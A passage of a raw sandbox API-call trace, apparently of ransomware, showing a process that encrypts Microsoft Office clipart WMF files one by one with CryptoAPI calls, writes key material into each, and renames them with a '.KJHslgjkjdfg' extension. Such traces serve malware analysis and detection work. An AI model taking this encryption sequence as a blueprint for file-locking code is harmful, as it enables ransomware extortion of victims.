Office\\CLIPART\\PUB60COR\\J0187647.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187647.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0178.787] GetProcessHeap () returned 0x2a0000 [0178.787] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0178.787] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0178.787] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0178.787] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0178.789] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.789] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.790] GetProcessHeap () returned 0x2a0000 [0178.790] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0178.790] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0178.790] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.790] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0178.790] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0178.790] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0178.790] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0178.790] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0178.790] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0178.790] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.790] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.790] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.791] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x19c4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x19c4, lpOverlapped=0x0) returned 1 [0178.791] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x19d0, dwBufLen=0x19d0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x19d0) returned 1 [0178.792] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.792] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x19d0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x19d0, lpOverlapped=0x0) returned 1 [0178.792] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.792] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1aa4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.792] SetEndOfFile (hFile=0x114) returned 1 [0178.795] GetProcessHeap () returned 0x2a0000 [0178.795] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0178.795] GetProcessHeap () returned 0x2a0000 [0178.795] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0178.795] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187647.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187647.wmf.kjhslgjkjdfg")) returned 1 [0178.796] CloseHandle (hObject=0x114) returned 1 [0178.796] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1500, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0187815.WMF", cAlternateFileName="")) returned 1 [0178.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187815.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0178.797] GetProcessHeap () returned 0x2a0000 [0178.797] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0178.797] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0178.798] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0178.798] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.798] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.798] GetProcessHeap () returned 0x2a0000 [0178.798] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0178.798] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0178.798] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.798] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0178.800] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0178.800] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0178.800] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0178.801] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0178.801] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0178.801] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.801] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.801] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.801] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1500, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1500, lpOverlapped=0x0) returned 1 [0178.804] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1500, dwBufLen=0x1500 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1500) returned 1 [0178.804] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.804] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1500, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1500, lpOverlapped=0x0) returned 1 [0178.804] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.804] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x15d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.804] SetEndOfFile (hFile=0x114) returned 1 [0178.807] GetProcessHeap () returned 0x2a0000 [0178.807] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0178.807] GetProcessHeap () returned 0x2a0000 [0178.807] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0178.807] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187815.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187815.wmf.kjhslgjkjdfg")) returned 1 [0178.808] CloseHandle (hObject=0x114) returned 1 [0178.808] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2d7c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0187817.WMF", cAlternateFileName="")) returned 1 [0178.808] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187817.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0178.809] GetProcessHeap () returned 0x2a0000 [0178.809] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0178.809] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0178.809] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0178.810] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0178.812] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.812] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.812] GetProcessHeap () returned 0x2a0000 [0178.812] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0178.812] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0178.812] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.812] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0178.812] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0178.812] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0178.812] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0178.812] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0178.813] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0178.813] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.813] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.813] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.813] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2d7c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2d7c, lpOverlapped=0x0) returned 1 [0178.814] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2d80, dwBufLen=0x2d80 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2d80) returned 1 [0178.814] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.814] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2d80, lpOverlapped=0x0) returned 1 [0178.814] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.814] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2e54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.814] SetEndOfFile (hFile=0x114) returned 1 [0178.817] GetProcessHeap () returned 0x2a0000 [0178.817] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0178.817] GetProcessHeap () returned 0x2a0000 [0178.817] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0178.817] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187817.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187817.wmf.kjhslgjkjdfg")) returned 1 [0178.819] CloseHandle (hObject=0x114) returned 1 [0178.819] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2870, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0187819.WMF", cAlternateFileName="")) returned 1 [0178.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187819.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0178.821] GetProcessHeap () returned 0x2a0000 [0178.821] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0178.821] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0178.821] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0178.821] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.821] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.821] GetProcessHeap () returned 0x2a0000 [0178.821] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0178.822] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0178.822] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.822] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0178.824] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0178.824] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0178.824] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0178.824] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0178.824] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0178.824] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.824] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.824] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.824] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2870, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2870, lpOverlapped=0x0) returned 1 [0178.826] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2870, dwBufLen=0x2870 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2870) returned 1 [0178.826] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.826] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2870, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2870, lpOverlapped=0x0) returned 1 [0178.826] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.826] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2944, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.826] SetEndOfFile (hFile=0x114) returned 1 [0178.829] GetProcessHeap () returned 0x2a0000 [0178.829] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0178.829] GetProcessHeap () returned 0x2a0000 [0178.829] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0178.829] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187819.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187819.wmf.kjhslgjkjdfg")) returned 1 [0178.830] CloseHandle (hObject=0x114) returned 1 [0178.830] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d4c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0187825.WMF", cAlternateFileName="")) returned 1 [0178.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187825.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0178.831] GetProcessHeap () returned 0x2a0000 [0178.831] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0178.832] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0178.832] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0178.832] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0178.834] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.834] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.834] GetProcessHeap () returned 0x2a0000 [0178.834] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0178.834] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0178.834] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.834] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0178.835] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, 